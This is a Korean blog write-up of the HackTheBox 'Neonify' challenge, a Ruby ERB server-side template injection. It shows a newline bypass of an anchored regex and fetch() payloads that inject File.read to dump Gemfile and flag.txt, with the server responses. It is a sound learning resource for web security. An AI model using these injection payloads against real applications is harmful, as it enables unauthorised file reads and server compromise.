티스토리 뷰
문제 개요
Ruby SSTI(Server Side Template Injection)
코드 분석
14번째 줄을 보면 client 단에서 보낸 neon 파라미터 값을 정규식으로 검사하고 있는 것을 볼 수 있습니다.
그리고 15번째 줄에서는 neon 파라미터의 값을 ERB 라는 Ruby 의 Template 에 바인딩해서 index 라는 html 템플릿에 렌더링해주는 것을 알 수 있습니다.
우선 ERB 라는 Ruby Templating 관련해서 문법을 조금 알아보았습니다. 아래 링크에서 자세히 알아볼 수 있습니다.
https://ruby-doc.org/stdlib-2.7.1/libdoc/erb/rdoc/ERB.html#public-instance-method-details
그리고 이 외의 코드는 중요한 것이 없기 때문에 바로 SSTI 관련 문제구나하고 짐작할 수 있었는데요. 위 Ruby Templating 문서를 참고해보면 아시겠지만, 파일을 읽어오기 위해서는 아래와 같이 사용하면 된다고 합니다.
<div>
<%= File.read(filename) %>
</div>
다만 정규식에서 언뜻 보면 숫자, 영문자, 그리고 공백문자 밖에 사용하지 못하는 것으로 보이는데요. 다만 보안 관점으로 봤을 때 굳이 ^나 $으로 해서 시작과 끝을 정의할 필요가 있었을까 의문이 들긴 했는데요.
그러나 역시 뭔가 있긴 했나봅니다. Ruby 문서를 뒤적뒤적하다가 아래와 같은 문서를 보게되었는데요.
http://ruby-doc.com/docs/ProgrammingRuby/html/language.html#UJ
루비에서는 정규식을 개행문자로 구분하는 것이 따로 있다기에 혹시나 싶어서 개행문자를 넣으면 우회할 수 있지 않을까 싶어서 해봤습니다.
fetch("http://157.245.32.36:31003/", {
"headers": {
"content-type": "application/x-www-form-urlencoded"
},
"body": "neon="+encodeURIComponent(`a\nb.c.d.e.f.g`),
"method": "POST"
});
페이로드는 위와 같이 날려봤습니다. 그랬을 때 결과로는 아래와 같이 나왔는데요.
<!DOCTYPE html>
<html>
<head>
<title>Neonify</title>
<link rel="stylesheet" href="stylesheets/style.css">
<link rel="icon" type="image/gif" href="/images/gem.gif">
</head>
<body>
<div class="wrapper">
<h1 class="title">Amazing Neonify Generator</h1>
<form action="/" method="post">
<p>Enter Text to Neonify</p><br>
<input type="text" name="neon" value="">
<input type="submit" value="Submit">
</form>
<h1 class="glow">a
b.c.d.e.f.g</h1>
</div>
</body>
</html>
이로써 성공적으로 정규식 우회가 된 것을 볼 수 있습니다. 이제는 위에서 알아보았던 Ruby Templating 문법을 이용해서 특정한 파일을 읽어와보겠습니다.
fetch("http://157.245.32.36:31003/", {
"headers": {
"content-type": "application/x-www-form-urlencoded"
},
"body": "neon="+encodeURIComponent(`a\n<%= File.read('Gemfile') %>`),
"method": "POST"
});
위와 같이 보냈을 때 아래와 같이 파일 내용이 잘 읽어와지는 것을 확인할 수 있었습니다.
<!DOCTYPE html>
<html>
<head>
<title>Neonify</title>
<link rel="stylesheet" href="stylesheets/style.css">
<link rel="icon" type="image/gif" href="/images/gem.gif">
</head>
<body>
<div class="wrapper">
<h1 class="title">Amazing Neonify Generator</h1>
<form action="/" method="post">
<p>Enter Text to Neonify</p><br>
<input type="text" name="neon" value="">
<input type="submit" value="Submit">
</form>
<h1 class="glow">a
source "http://rubygems.org"
gem "sinatra"
gem 'require_all'
gem 'shotgun'
</h1>
</div>
</body>
</html>
문제 풀이
이제 Flag 가 어딨는지 살펴보고 Flag 를 읽어오면 되겠다 싶었습니다. 보니깐 Flag는 웹 root 경로에 flag.txt 파일로 존재했었습니다. 그래서 아래와 같이 페이로드를 작성하고 보내보았습니다.
fetch("http://157.245.32.36:31003/", {
"headers": {
"content-type": "application/x-www-form-urlencoded"
},
"body": "neon="+encodeURIComponent(`a\n<%= File.read('flag.txt') %>`),
"method": "POST"
});
그랬더니 아래와 같이 Flag가 출력된 것을 알 수 있습니다!!
<!DOCTYPE html>
<html>
<head>
<title>Neonify</title>
<link rel="stylesheet" href="stylesheets/style.css">
<link rel="icon" type="image/gif" href="/images/gem.gif">
</head>
<body>
<div class="wrapper">
<h1 class="title">Amazing Neonify Generator</h1>
<form action="/" method="post">
<p>Enter Text to Neonify</p><br>
<input type="text" name="neon" value="">
<input type="submit" value="Submit">
</form>
<h1 class="glow">a
HTB{플래그는 가려졌어요}</h1>
</div>
</body>
</html>
'보안 > Wargame' 카테고리의 다른 글
[Hackthebox] Userland City Writeup(문제풀이) (0) | 2022.05.12 |
---|---|
[Hackthebox] EasterBunny Writeup(문제풀이) (0) | 2022.05.10 |
[dreamhack] [web] easyxss 문제풀이(비밀번호:FLAG) (5) | 2022.03.19 |
[Hackthebox] - baby todo or not todo Writeup(문제풀이) (0) | 2022.03.15 |
[Hackthebox] - baby WAFfles order Writeup(문제풀이) (0) | 2022.03.14 |